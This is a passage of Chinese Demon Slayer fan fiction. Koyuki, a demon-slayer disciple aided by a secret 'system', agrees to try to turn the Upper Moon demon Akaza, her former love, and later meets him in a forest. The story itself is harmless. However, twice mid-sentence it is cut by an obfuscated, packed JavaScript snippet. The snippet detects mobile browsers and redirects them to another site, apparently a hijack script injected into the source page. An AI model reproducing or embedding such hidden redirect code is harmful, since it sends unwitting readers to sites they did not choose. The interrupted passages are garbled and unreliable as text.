“谢谢您,忍小姐!”恋雪连忙起身致意。 无限列车的任务结束后,隐部队的队友们迅速将伤员转移到了蝶屋。方才她就是在蝶屋的治疗室外等待。 【请注意,不得向外界透露系统的存在。当其他人物对“道具”产生疑惑时,请宿主进行一定的答复和解释。只要答复不是十分离谱,与宿主距离一百米内的人物会将宿主的答复自行合理化。】 “这么严重的伤势,居然能够愈合,真是惊人的奇迹。听说恋雪你当时给炼狱先生服用了药剂,请问是什么药剂呢?我有些好奇。”忍莞尔笑起。 怎么才叫不是十分离谱? 恋雪硬着头皮道:“是我们家道场祖传的药。可以在重伤时勉强维系最后的意志和精力。” 其实只靠意志根本不能让贯穿整个腹部的伤口痊愈。 但系统的催眠之力就这么生效了。 医学专家忍小姐居然点了点头,道:“如此神奇的药水,恋雪是否方便和我交流一下药方?” 恋雪白皙的脸渐渐漫上一层红。她实在不擅长说谎,更别提是在如此温柔慈悯的忍小姐面前。简直是在白玉铸就的菩萨像前撒谎。 “呀,这,其实,我,家父去世后,药方我一直找不到,我……” 她说得磕磕巴巴,但那天外之物系统再度发力了。 忍一向温和的紫眸中带上了几分肃然起敬的感激:“原来如此,有点可惜。不过没有了药方之后,这应该是你们家的道场最后几份药了吧,谢谢你愿意把先父的遗物取出来救人,谢谢你,恋雪。” 恋雪的内疚心顿时如同火山喷薄。 抱歉忍小姐,我骗了您。抱歉爸爸,情急之下我把您搬出来当挡箭牌。 “下次回去扫墓的时候,我会努力去找药方的……” 她一定会努力完成攻略任务,多赚几份药剂来给鬼杀队的大家使用的! * 日出东方,无数阳光洒进。 病床上的男人早已将鬼杀队制服换上。 毕竟,可不能穿着病号服去面见那位大人。 他金橙色双目转向推着轮椅进来的恋雪:“素山,向主公汇报这次和上弦之三的战斗的事情,你准备好了吗?” “我已经准备妥当,炼狱先生。”恋雪小心地扶他起来。 “好,那我们现在就出发。” 因为系统药剂的增益,杏寿郎虽然仍有伤在身,但不至于卧床不起的程度。 素山扶着他坐上轮椅,双手握柱轮椅握柄。 她推着轮椅,师徒二人穿过古木下一片深浓阴影。 产屋敷派来迎接的汽车,早已停在蝶屋门外。 * 素山,你认识上弦之三。 昨晚在蝶屋里,炼狱先生向她问出了没有当着炭治郎君几人的面说出来的话。 她一边为炼狱先生换着点滴,一边如实应答,是。 这件事可能需要向主公汇报。素山,你是否与我同去? 炼狱先生给了她选择的机会。如果她觉得不便,他可以代为转达。 但她仍是道,炼狱先生,我和您一同前往产屋敷宅邸。 穿过漫漫的石桥流水、高阁华厅,两位身着紫颜色和服的白发女孩推开障门,将二人迎入。屋外的紫藤花随风洒落淡紫花瓣,花树阴影如纱如雾,半笼在屋中男人苍白病容上。 因为不能暴露那系统的存在,她只说自己是一个有着些许前世记忆的人。 很简要地,恋雪将一百年前的往事道来。 她还带了一本三年来整理的关于素流的笔记。 恋雪低下头,双手将那笔记向主公呈上:“他的招式很多是从素流中演变而来,我想这本笔记会对拆解上弦之三的血鬼术有一点帮助。” 产屋敷耀哉接过,翻阅几页,道:“谢谢你,恋雪,这样便掌握了部分关于上弦之三的相关情报了。 渐渐地,他将声音放轻,是叹惋的语气:“你和那位上弦的故事,也实在是一段令人唏嘘的往事。” “如果让素山你去策反上弦之三的话,你愿不愿意?”他微笑看向恋雪。 和室内一时寂静。 这的确是她的心愿,前来面见主公的路上,她一直思索着如何妥当开口。但没曾想,主公会先一步将它点破。主公大人是,看穿了她的心思吗? “主公大人,请恕在下直言,我觉得派女队员去和上弦周旋很不妥。上弦之三即使曾经是一个善良正直的人,那份正直也已经随着他变成鬼而消失了,让素山去和他周旋是羊入虎口。有素山提供的关于素流武道、上弦之三招式的情报已经够了,根本不必让素山牺牲她自己!”轮椅上的杏寿郎面容英俊,笑颜明朗,但双目一动不动地睁着,根本看不出笑意是真是假。 杏寿郎,仅凭对上弦之三招式的拆解不足以战胜这位强敌。你心中想必也清楚这一点。但即便如此,你也不愿意让你的弟子牺牲自己去达成除鬼的捷径,真是坦坦荡荡的磊落之心啊。耀哉轻轻叹气。 “如果能让十二鬼月从内部分崩瓦解的话,一切都会顺利很多。一百多年了,鬼杀队已经很久没有铲除过上弦的鬼。而且上弦之三手中想必掌握着关于鬼和鬼舞辻无惨的大量情报。” 耀哉的目光再度看向恋雪:“素山,这是你师父杏寿郎的意见,你自己又是如何想的呢?” 一道光影斜斜分隔和室,只要往前一步,就会迈入阴影之中。 她原是跪坐,此刻又向前膝行,俯前一拜,恭敬地行礼。 “我愿意……我愿意去完成这个任务。” “素山!”杏寿郎在她身后叫了一声她的名字。 “我不想看见他在罪恶中越陷越深,”恋雪深吸一气,“我想拉他一把,请主公大人给我这个机会!” “好,在下次柱合会议之前,请恋雪你让那位上弦之三做出一定程度的改变——对上弦之三来说,杀掉一两个比他低级的十二鬼月应该轻而易举,如何?” “如果上弦之三可以为鬼杀队提供帮助,我们也可以不再把他视为敌人。” 惯察人心的产屋敷家主,如何看不出眼前的孩子依然爱着早已化作恶鬼的亡人。 产屋敷家能与珠世小姐合作,那位上弦之三如果能回头,也能当作稍微凶残些许的珠世小姐来看待吧。 但如此模糊了黑白的灰色决策,并非人人都能接受。 “素山,他所谓的不杀女人是他自以为有武道品格的傲慢之语,所谓的惜才,也只是对人类的俯视和戏弄。那个上弦和灶门少年的妹妹不一样,他犯下累累杀孽,他前世为人的心早已在罪业之海中消陨了。素山,他并不是你回忆里的那个人!” 杏寿郎金橙色双目向耀哉看去,毫不退避:“主公大人,这个任务太荒唐了。恕我不接受为了任务就让女队员委身一个鬼。” 恋雪转过身来,保持着那跪坐的姿势,也向杏寿郎深深鞠一躬。 “炼狱先生,请您不必为我担忧,这是出于我自己的意志。请您也和主公大人一样,给我一个尝试的机会!” 许久,那双赤金炎火般双目从耀哉终于身上转移,一动不动地看着她。 仿佛鹰隼洞视,仿佛火炼真金。 “既然如此,一旦这个任务出现一丝一毫会失败的迹象,是否立即结束与上弦之三的虚与委蛇,开启讨伐并将其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16897381|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斩除?如果是这样的话,我没有异议了。”平日的笑意褪去,杏寿郎脸上没有任何表情。 * 从面见主公的庭院出来后,一路上,杏寿郎几乎没再和她说话。 二人的身旁,只缓慢流动着轮椅的滚动声和风吹紫藤花叶声。 第一次,恋雪感受到杏寿郎的沉默。 炼狱先生是否对她感到很失望?圣人一般的炼狱先生,将一生的意志贯彻于消除鬼的大业,从未有任何私心。身为他的继子,她理应也要像他一样,在火中锻造出坚固无瑕的心,不容任何邪恶存在。 但狛治是她上一世生命消亡前最牵挂的人,最思恋的人,最放不下的人。 自从加入鬼杀队,她便一直将自己放在世间的安危之后。然而在她心中天枰的两端,他有着与全世界相等的重量。 更何况,千山万水,失而复得。 即使他变成了鬼,即使他变成了鬼。 一阵风过,满天紫藤花的花雨。 “真没想到素山你之前说的身为武道高手的丈夫会是上弦之三。或者说,现在应该称之为亡夫了。” “来面见主公大人的路上我还在想劝你,下次见面的时候就干脆利落地砍下他的头颅,认真和他完成最后的告别吧。” 轮椅上的师长终于开口。 这两句话似乎是玩笑。 但下一刻,杏寿郎的语气变得无比严肃。 “一旦他不如你所想的那般还有可以争取的希望,就立刻抽身离开,素山,你能做到吗?” 恋雪愕然抬头。 按照炼狱先生的性格,她本以为他会说,素山,请你立刻抽刀杀了对方。但他没有。 “如果事态不可控,斩杀上弦的事情会由我这个柱来完成。” 眼前毫无私心的圣人,破例地,包容了她的两难、她的私心。 “谢谢您,炼狱先生。” 恋雪重重一点头,泪花已在眼中涌动。 “炼狱先生,谢谢您,谢谢。不过……”泪眼婆娑,她仍露出一个坚定笑意,“我不会让这个任务失败的,请您和主公大人放心好了!” 她会渡他出苦海,她一定会。 * “看来上弦之三也堕落了啊。” “猗窝座,你是完全没把任务放在心上吗,先是和一个普通队员缠斗,在杀那个柱的时候,也没有用全力。” 猗窝座一拳撑在地板上,单膝跪地,俯首听着一句又一句羞辱和斥责。 那个时候,如果用了全力的青银乱残光,炼狱杏寿郎必死无疑。但一瞬之间,想起青银乱残光的波及范围之广,势必连同附近的素山一同吞没,他最后只用了五六成的力量。 但即使他一时手下留情又如何?炼狱杏寿郎还不是被他开膛破腹。 “无惨大人,那个炎柱已经死了。”猗窝座垂首答复。 轰一声。 窗户瞬间爆裂,无数玻璃碎片飞溅,刺入他全身。 “那个炎柱已经死了?猗窝座,你躲避阳光的时候想必没有回头认真看看吧,”鬼王的表情愈发愤怒,“你像丧家之犬一样逃跑的时候,鸣女的眼球也在附近,那个女队员给炎柱吃了什么药,他又活了过来!这次任务,你一个鬼杀队的家伙也没有除掉,还敢大言不惭地说什么那个炎柱已经死了——” 在鬼王的血鬼术操纵下,他全身紫色血管浮起,唇边鲜血直流,五脏六腑爆发出剧烈的痛苦。 眼前的鬼王似乎还在说着,什么亏我看你身在附近特意派你前去,猗窝座你令我失望透顶。 然而他脑海中只浮现出当时她雪白垂泪侧影。 药? 哈,原来她还真把炎柱给救活了。 真是有两把刷子。 “猗窝座……” “猗窝座!” “你完全没有在听我说什么啊。” “好歹,你发现了一个能研制出罕见药物的女人,想办法把那个女人变成鬼,自从珠世叛逃后,我刚好缺一个医学方面的专家。” 那个炎柱当时的状态已经是必死无疑,没想到那管药又把他给救活了。那药,和一千年前那个医生给他喝下的药何其相似。鬼王微微眯起猩红眼睛。 “然后,滚吧!继续去找蓝色彼岸花。” 无惨眼神冷酷,仿佛面前曾经立功无数的上弦之三已不堪大用,多看一眼都是浪费时间。 “是,属下遵命。” 猗窝座面无表情,向那位大人垂首致意,向后一跃,退出这座洋宅外。 树林中,那把灶门炭治郎的日轮刀还插在树上。 你这个卑鄙小人! 述职时他冷漠的神色一点点褪去,逐渐扭曲。 真是可笑,自己不过随便几招就将那炎柱的腹部贯穿,若非素山救了炎柱,那家伙早就该力竭而死,那个小子居然敢大言不惭地说什么他是卑鄙小人。鬼是世界上最高等最强悍的存在,难道他们以为他是逃避战斗吗,他逃避的是阳光! 灶门炭治郎朝他大喊大叫的时候,她有没有听见? 一想到她可能会受那小子的胡言乱语影响,将他归为不入流的卑鄙者,他心中愈发愤怒,烈火升腾。 电光火石之间,仿佛泄愤,他的双拳已将那日轮刀击打至“粉身碎骨”。 “灶门炭治郎……下次见面,我一定要打碎你的脑袋!” 山林阴翳泄露幽青月光,照出他阴鸷的脸和狠戾眼神,额头、臂膀、精赤上身,全部青筋浮出。 余光瞥见满地日轮刀碎片,猗窝座暴怒的心这才缓缓冷却。 自己那么在乎她对他的看法干什么?实在无聊至极。 但一想到刚才洋宅中那位大人的吩咐—— 她会变成鬼。 比起医学专家,和他一起在战斗中磨砺才更能发挥她的天资吧。成为鬼之后,她一定很快能跃升为十二鬼月。不,是上弦。至少,只要她听从他的指点,短期之内取代玉壶那个废物完全没问题。他会得到一个强大的、满意的同伴,他们将一起脚踏尸山骨塔登升。 而且她似乎认识他。当日太匆忙,他没有问清。但百年来行走世间,他也曾听过保留前世记忆的传说。 虽然他根本没兴趣去寻找为人时的记忆,但一个连招式都和他一致的上弦,还有比这更默契的同伴吗?他很乐意指引这位“旧识”领受那无上恩典,抛弃柔弱的人类之躯,成为世间最强大的存在。 思及此处,抬头看见幽蓝夜色,他这一日愤怒不甘的心情终于,略微好转了起来。 雨过天晴。 猗窝座将一地日轮刀碎片随意一踢,如同凶兽踢开巢穴旁的碎石杂草。 怒容褪去,爬上恶鬼妖异俊美面容的是兴奋和疯狂。他低头注视手心,笑道:“早点变成鬼吧,素山。” 下一刻,修长深蓝的手指一收,掌心合拢。鬼的艳丽金瞳中升起一片迷乱幻光。山中的斑斓猛虎,将一个猎物围拢在掌底轻轻拨弄时也不过是这种神情。 素山,素山。 下次,他一定把她的名字给问出来。 7.看来我们很有缘啊素山 你们三个就来当我的继子吧,以后我罩着你们! 无限列车上,杏寿郎曾表示要收炭治郎三人为继子。 但他如今还在养伤,训练三人的任务便落到了身为甲级队员的恋雪头上。 “那以后是不是可以称呼素山小姐为素山师姐了,素山师姐、素山师姐,嘿嘿……” “善逸,素山姐的训练可是很严苛的,你最好还是先做好心理准备……” “素山师姐那么温柔的人怎么可能很严苛,炭治郎你不要瞎说!她一定是那种温柔如水的前辈、大姐姐,春风化雨一样指点我们修行!” 炭治郎见善逸满脸期待,欲言又止。算了,还是不要打破善逸美好的幻想。而且,嗯,万一善逸他体质过人,是自己锻炼不够才觉得在狭雾山上时素山姐的训练很可怕呢? “你们两个慢死了走快一点,”前方,伊之助回过头朝炭治郎和善逸二人大喊,“猪突猛进、猪突猛进,武道女人不是说任务结束后要传授我们她的武道吗,就让身为百兽之王的我用野兽的武道和她一决高下!” 少年们吵吵闹闹的声音从走廊尽头传来。 道场前的庭院花木扶疏,两道身影在庭中洒扫。 白的剑道衣,黑的剑道裙袴,黑发白容颜,东方式的、古典式的,如同水墨描绘的丹青。落樱的花瓣红粉芳菲,在她木屐旁堆作一丛儿。另一人则完全和杏寿郎一个模子印出来,只是更小一号,黄金般发色,浓墨般八字眉,金橙的瞳,圆圆的颊,也穿着剑道服,是千寿郎。 “呀,大家都来得这么早。”恋雪手持扫帚,向炭治郎等人笑道。 “我和千寿郎弟弟给大家包了鲑鱼饭团哦,等早上使用日轮刀的训练结束了,大家一起吃饭团吧。” 恋雪笑容温婉,一旁的千寿郎也朝几人露出一个略显害羞的笑。 “我就说吧炭治郎,素山师姐多么温柔、多么体贴,你小子不识好人心,居然说她是一个严苛的女人——” 善逸一脸媚笑地小跑到恋雪面前:“素山师姐,勤奋的我、热爱修行的我带他们来参加你的特训了!” 六小时后。 “素山师姐饶了我吧!”善逸涕泪横流,“啊、啊,是饭团的香味,是午饭时间到了吗,能中场休息了吗,太好了,太好了,千寿郎弟弟看到你来送饭善逸哥哥太高兴了,你是天使……” 善逸已将千寿郎紧紧抱住,如同在狂风骤雨的海面中抱住救命浮木。千寿郎实在是一个很内敛又很体贴的孩子,被善逸死死抱着,惊慌之下,还腾出一只手来轻轻拍着善逸的背,一时间竟不知谁是长辈谁是小辈。 闻到米饭香气,三人中最稳重的炭治郎也将刀收起,无奈道:“善逸,我都说了让你做好心理准备了……” “武道女人你很不错,但是,比起百兽之王的我还是差了不少,”已经鼻青脸肿的伊之助,正一手一个鲑鱼饭团大口吃着,左右开弓,补充体力,“下午我们再决一死战吧!” 已经不是决一死战了,是决一二三四五六七八次死战了吧!从上午的训练一开始,伊之助你都不知道说了多少次这句台词了,但每次都被素山姐打回来啊!炭治郎吃着饭团,心内充满腹诽。 恋雪端坐在缘侧上,接过千寿郎给的汤勺,给众人盛着味增汤。 正午的阳光虽然灿烂,但穿过庭前层层花木,柔和了不少。满庭芬芳暖阳,在她雪白面容上披一层淡淡金光。 “大家吃完休息一下换一身衣服,剑术训练结束后,下午是武道训练哦,”恋雪笑容和煦,“上次在无限列车上,答应了要传授大家素流的武道。” 言罢,一直乖巧观战的千寿郎已经捧出几套白色道服。 “还、还有武道训练……”善逸已然有气进没气出。 “喔,武道女人你终于要拿出你的真本事了吗!” 武道,是素流的武道吗?炭治郎心中升起期待,素山姐给他的笔记上虽然也记载过一些素流的招式,但亲眼观摩,亲身实战,想必能有更深的体悟。 “诶诶,这是什么衣服,我也想要一套。” 明媚女声传来。 一息之间,几人身后已多出一人,速度之快,令人叹为观止。 “蜜璃前辈?” “我来看望炼狱先生,听说小雪你在道场训练炭治郎他们,好奇来看看。” 粉绿渐变的发色,翡翠般晶莹双目,朝气蓬勃,笑颜明朗,如初日英蕖。九柱之一的恋柱,甘露寺蜜璃。 恋雪微笑着,将一套道服捧起:“刚好有一件备用的道服,蜜璃前辈感兴趣的话也一起来吧。” “好柔软的衣服,谢谢小雪!”蜜璃将脸埋入那洁白道服,轻轻蹭了蹭。 下午的训练又再加一人。 多了一位美丽的前辈在场,还能从脸上看出一点害羞表情的只有炭治郎一人。 伊之助完全是个沉迷挑战的武痴,至于善逸,初见蜜璃时眼中无限惊艳敬爱,但很快,那敬爱便成了恐惧。甘露寺大师姐比素山师姐更可怕—— 攻击力极强的素流武道加上恋柱柔韧的体操身法,完美达成一加一大于二的效果。 “小雪你们家的武道很优秀哦,我很喜欢,充满爱的力量!”一掌推开伊之助,又巧妙躲过善逸的进攻,须臾间在二人脸上各锤一拳,蜜璃游刃有余,如鱼得水。 粉绿飞扬的发梢,柔韧灵动的闪移,舒展的体术,刚劲的拳风。 恋雪由衷赞叹:“蜜璃前辈真厉害,这么短的时间就能从素流的武道中演变出自己的招式了。” “小雪你说得我都害羞啦,我只是灵机一动!” 演变。自己的招式。 一旁,炭治郎脑海中却闪过一道突兀的身影。 那个上弦之三。 当日那个上弦鬼的动作太快,他无法完全看清对方的招式。但其中一两个动作的残影,却仿佛也是从素流的武术中演变而来…… 是因为天下的武学都有殊途同归之处吗? 他正思索间,远处的寺庙传来一声晚钟,暮光斜斜照来。 “哎呀,不知不觉到饭点了。我带大家去吃洋食怎么样,就当我这个已经毕业的炎呼师姐请客了!我发现附近有一家新开的法国菜哦。”蜜璃收拳回身侧,提议道。 千寿郎有些怯怯地开口:“可是我和恋雪小姐已经熬了拉面的汤底……” 蜜璃一把抱住千寿郎的脑袋揉了揉:“没问题没问题,拉面就给伯父大人吃吧,我来道场的路上遇到他还嚷嚷着叫我滚出去,醉醺醺的这可不行呀。听说喝点热汤面对解酒有好处,拉面全都给他吃了就好了,不会浪费的!千寿郎弟弟和大家一起去吃洋食吧。” 她又眨眨眼:“吃完顺便外带一份回来给炼狱先生吃吧,我看到那家店门口的招牌上有红薯派喔。” “既然如此,请蜜璃前辈也让我付一半费用吧。今天是炭治郎他们来炎呼道场训练的第一天,请蜜璃前辈给我这个顺水人情的机会,让我也好好宴请一下他们。”无限列车的任务之后,她刚好得到一笔丰厚的奖金。而且……恋雪微微回头,这几个孩子今天被她“指导”得鼻青脸肿,她太过意不去了。 “羊的食物,是吃草吗!” 善逸如同注视山顶洞人一般叹气:“不是羊的食物,是洋——食——!就是西洋传进来的食物,伊之助你完全没有常识啊……” “你这个天天打瞌睡的家伙不许说本大爷没有常识!” 暮光下的人声笑语如璀璨浪花,正在养伤的炼狱先生想必也听见了吧。真好呀。尊敬的前辈还在,朋友们也还在。在失去母亲和弟弟妹妹后,他已经很久、很久没有感受过这温暖的热闹。炭治郎久久注视这一幕,一时忘了动作。 前方,恋雪回头对他一笑:“炭治郎君,你在那边愣着干什么,快点换好衣服,大家要出发了哦。” 炭治郎用力点头,嗯了一声,快步上前,心中关于上弦之三的疑云早已散去。 * 去吃洋食,本来是这么计划的。 但一行人刚出门,长街另一侧便有乌云压顶般低气压卷涌而来。 拥有野兽般直觉的伊之助率先反应:“怎么回事,是鬼吗!” 善逸也有点瑟瑟发抖:“太阳不是还没有落下去吗,是、是能在阳光下活动的鬼吗……” 夕阳未隐,当然不是鬼。 暮光赤红,照在长街尽头戴着火男面具的男人身上,为他烘托出武士般壮烈气概。 “素山、灶门……你们两个……”钢铁冢怒发冲冠,甚至乎,已经能在面具上看到他额头浮起的青筋,“一个把刀弄断了,一个更过分,直接把刀都扔了,完全没有尊重刀匠的作品啊!” “而且还待在炼狱宅邸这么远的地方,来送刀的路上我差点被那个呼呼怪叫的铁皮怪物撞到——” 呼呼怪叫的铁皮怪物,是汽车吗?看来钢铁冢先生也是养在深山人未识,常年与世隔绝中……不对,现在不是想这种事情的时候! 恋雪原想立刻鞠躬道歉,用真诚的歉意平息钢铁冢先生的怒火,但有人先一步挡在她身前。 “啊呀啊呀,钢铁冢先生不要生气……!”蜜璃作为众人的前辈,虽已汗流浃背,依然勇敢地挺身而出。 可惜面对地位更高的恋柱,钢铁冢也是怒意不减。 “请、让、开,甘露寺、阁下。” 怎么办,怎么办,钢铁冢先生看起来好可怕,他好像真的会向小雪和炭治郎君发起决斗! 灵光一闪,一直自信美味的食物能消除世间大多数烦恼的蜜璃急中生智。 “那个,那个,钢铁冢先生也和我们一起去吃饭怎么样,有御手洗团子!” 身后的恋雪惊讶。 呃、这,蜜璃前辈,西洋餐厅会有御手洗团子吗? 恋雪上前一步,小声道:“蜜璃前辈,果然还是我先和炭治郎君去附近的团子专门店买个十几二十串来赔罪吧?” 同为罪魁祸首的炭治郎也疯狂点头。 然而蜜璃回头向他们眨了眨翡翠般晶亮的眼睛,笑容自信明媚,义薄云天:“没关系没关系,包在我身上。” 毫无疑问的,法餐厅没有御手洗团子。 但有给不会使用刀叉的客人准备的筷子和白酱鸡胸肉油炸丸子。 “什么啊,那桌客人怎么用筷子把Croqueta串起来吃,是第一次来东京的乡下人吗,只有那两位小姐和那个猫头鹰一样的金发小孩知道用餐礼仪……还有那个戴着野猪头套的家伙怎么回事,吃相好可怕……”说到所谓的“Croqueta”、即肉丸子时,侍应生的音调还抑扬顿挫了一下。 “你小子这样议论客人很不礼貌,赶紧去传菜。”一个眼刀刮到那燕尾服的年轻人身上。 虽然是一桌奇怪的客人,但光是那位粉绿发色小姐一人空盘的数量,就够他们一整晚的营收了。每次上菜,那位黑头发的小姐也一脸无奈的微笑,一边给吵吵闹闹的小辈们道歉,一边给了他们好几次小费。这个不懂事的年轻人,怎么能这样议论豪爽的客人们呢? 侍应生和侍应长的窃窃私语,在笑声和食物的馨香间一闪而过了。 往嘴里文雅地小口送着食物的她想道,在斩鬼任务的间隙里能有这样快乐的一晚,和朋友们在一起,自由地谈笑、共饮,实在太好了。 这家餐厅的出品很美味,以后如果有机会的话,真想和他也一起来。 * 南南东,神社、神社! 她的鎹鸦告诉她,这座小镇的神社最近总是有前去参拜的香客失踪。 郊野阳光洒落,崭新的日轮刀别在恋雪腰间。 钢铁冢先生送来的新日轮刀加上系统给的刀,现在她有两把刀了。 不过,还是希望这次任务无需动用到系统的备用刀。再把钢铁冢先生苦心锻造的日轮刀弄坏的话,她不敢想会有什么后果…… 抵达神社要穿过一片茂密山林。即使是白天,一眼望去,那林内也毫无阳光。 在古老的传说里,暗无天日的山林,通常盘踞着阴森的虎神山君。 少时的她偶尔也会起坏心,将在书中读到的妖怪奇谭娓娓道来,想吓一吓总是正襟危坐的狛治哥哥。 结果完全出乎她意料。 身穿白道服的少年一脸严肃,道,如果世上真有什么虎神山君,为了保护恋雪,我一定会把它揍得落荒而逃。 风铃飘荡的午后,难得调皮一回的她良心不安了一下午。 明明是想听见他说,恋雪,这种传说太让人胆寒了,还是说一些天鹅姑娘、丘比特与普赛克之类温馨甜蜜的故事吧。不止东方的文学,西洋书籍她也看了不少,他温度渐高的膝枕,常是她午后读书时停靠的港湾。隔着薄薄书页,她不止一次偷看他俊美面容。 说起来,鬼的存在和虎神山君是不是也算有共通之处。曾经说要为了她把猛虎打跑的少年,如今自己成了猛虎。 虽然是在为他担忧,但,可能真的不要人后说人呢。 【请注意,攻略人物已出现。上弦之三,猗窝座,好感度:17。】 这、这么巧? 【叮,攻略对象好感度+1,目前好感度18。】 【叮,攻略对象好感度+1,目前好感度19。】 “看来我们很有缘啊,素山。” 没有一丝阳光的古森林里,恶鬼盘腿坐在树枝上,托腮笑道。 山中斑斓的猛虎,林中幽艳的花豹,仿佛在清泉边啜饮一般优游,眨着暗金的笑眼,看向她。 上次一战,她已经知道狛治如今完全是钢筋铁骨,肌肉密度那么高,居然能稳稳坐在树上不把树枝压垮吗!鬼的身体结构果然违背物理学。 【叮,攻略对象好感度+1,目前好感度20。】 “你一直目不转睛地看着我是为什么,是终于学会把注意力放在我身上了吗?”他从树上一跃而下,笑容满面。 看着步步逼近的恶鬼,她毫无惧色,直面他布满刺青的脸:“狛治。” 听到这声狛治,从方才起便一直叮叮不停的好感度提示终于停下。 “见了我连日轮刀也不抽出来,未免太放松警惕了吧,我可是,上弦之三。” 大约是为了报复她又说错了他的名字,他甚至摆出一个破坏杀的起手式。 真是可怕的“威吓”呀。心觉逗乐,恋雪笑意更深。 见她温柔笑颜分毫不改,对面的鬼终于自觉无趣,将手放下。 但很快地,就像猫围着蝴蝶打转,停顿一下、左顾右盼一下,回首又发现那小小的蝶才是世间有趣之物最一般,俊美的鬼再度妖邪笑起。 “你为什么在这里?去那个神社?你好不好奇那个神社里的鬼是怎么样的?”猗窝座勾唇一笑,他当然知道那神社里有什么东西,“你要是变成鬼的话,我可以和你共享鬼之间的信息。” “那个神社里的东西对你来说有点危险,还是不要去了,和我一起在这里过两招吧。”只要她和他切磋到日落,他陪着她一起去一趟也不是不行。一路上,他还会告诉她那位大人赏识她、看重她,只要她变成了鬼,他呢,自然也会指点她、引领她,抬举她登上上弦的位置。 然而鬼的张狂妖异,落入恋雪眼中只是一个神采飞扬的笑,颇有几分可爱。还没能下定论那个神社是不是因为鬼才有人失踪呢,狛治哥哥这是……立刻把有鬼的信息告诉她了? “狛治,谢谢你告诉我神社里有鬼,”恋雪一笑,“不过变成鬼还是算了。” “我不是说过了么,你最好稍微地尊重一下我,不要一直用这个奇怪的名字称呼我。”他仍是笑着,但已略有不满,金瞳危险地眯起,尾音懒懒拖长。 狛治这个名字的寓意坚韧而美好,猗窝座才是奇怪的名字吧。 看来这一百年,狛治没怎么在读书写字方面精进。 猗,阉割的犬。“赐予”他这个名字的魔鬼,没有哪怕一丁点尊重他。 但那妖异俊美的鬼,对她的忧思全然不觉。 “算了,我不和你计较。你是不知道我名字的汉字怎么写吗?不知道的话,我可以写给你看。” 趁她不注意,他已攥住她的手——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16907833|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 轻轻地,那深蓝的手指在她掌心一笔一划写下一个“猗”字。 鬼深蓝的手指,继续,缓缓地在她手心书写。但那俊美面容却不曾向下观看笔画,而是微微笑着,与她四目相对,暗金的眸一动不动地紧锁她面容。鬼红莲颜色的睫极其修长,随着手上的动作、他微微偏头时,那修长的睫,好几次从她眉心轻轻拂过。 恋雪只觉她的眉心和手心都很痒。 他笑着,露出一点虎牙:“我知道你以前认识我。不过你还是记住这个我重获新生后的名字比较好,人类时的记忆,我完全没有兴趣。” “你看,现在你对我的名字可以说,一、清、二、楚了。相应地,你也告诉我你的名字吧素山。” 面前的女子平静答道:“我叫恋雪。” “恋雪、恋雪,恋雪……”仿佛真有一点雪花落在他舌尖,鬼低念再三,喉结起伏滚动,玩味地笑道,“素山恋雪,真是不错的名字,我很喜……” 不待他把话说完。 “狛治,我们以前认识。” 第一次地,她也打断了他的话。 他来不及阻止,她已沿着那失落许久的旧日之名,诉说起那悠远的、悠远的往事。 那时候没来得及说的,这次不要再来不及了。她一鼓作气—— “狛治,你从江户来到我们家的道场,我父亲收你为徒。” “从前我身体不太好,你一直照顾我。” 她居然自顾自说起这些无聊的事情。 二人早已脱胎换骨,难得地,他觉得她有趣,他们重新相识不好吗。她和他从前到底是什么关系,他根本不想知道。 他没有兴趣知道。 “每天每天,你给我喂药,给我换毛巾,我行动不便,但我想去哪里你都会背我去……” 疾病缠身的孱弱的过往,为何说起时,却是一脸怀恋和思念。那不应该是很痛苦的事情吗。已经再世为人,成为了鬼杀队的剑士,拥有过人的天资潜力,为什么还要怀念那些无聊的过去。 鬼优游的身影逐渐僵住。 不要再说下去,不要再—— “我喜欢上了你,我……” 我喜欢上了你。他最不想听到的句子,终于如群山崩倒,在他心头沉重压下。 不要再说了,你不该喜欢上我,我们不是恋人,我不会成为你的……我不该—— 林中卷起一阵风声,吹过他耳畔。风过境,最后只剩一片虚空。 虚空。空洞。只要向其中窥探一眼,就会即刻死去的黑洞。 终于,猗窝座冷笑一声,出言打断:“那不过是因为‘他’一直在你身边照顾你而已,你没得选,你的生活里只有这么一个男人。” 恋雪的花瞳眸光一顿。 狛治哥哥,你为什么要这么说? 是因为曾经的曾经,你也曾这样百转千回地不安着、紧张着、自贬着?如今化为张扬的鬼,你才能下意识将那思绪脱口而出吗。 压下心头浸浸忧伤,阴翳的林中,她微微扬起的笑面如同雪白透亮的鲜妍的花一般。 “不是的,只是因为你是你。” “你温柔,正直,武艺高强,长得也好看,我喜欢上你不是顺理成章的吗?即使你不曾照顾过我,只是我父亲道场里的弟子,健康无病的我每天给你送水、递毛巾,和你谈天说地,和你去看山下的烟火,也一定会逐渐喜欢上你,心悦你,爱上你。” 逐渐喜欢上你,心悦你,爱上你。 猗窝座沉默着,甚至乎,一直战无不胜的上弦之鬼的身躯不自禁地后退了一步。被踩碎的树枝也在他耳边发出轰鸣。 他的沉默,她误以为是纵容,他后退,她便又逼近了一步。 “后来爸爸大概是看出了我的心意,他就把你喊过来,问你愿不愿意继承道场,做我们家的女婿……” 恶鬼一直勾起笑弧度的唇此刻全然紧抿,手臂青筋浮起,双拳垂落身侧,指节烦躁地按动着,咯吱作响。 不要再说下去了,不要再说下去了。 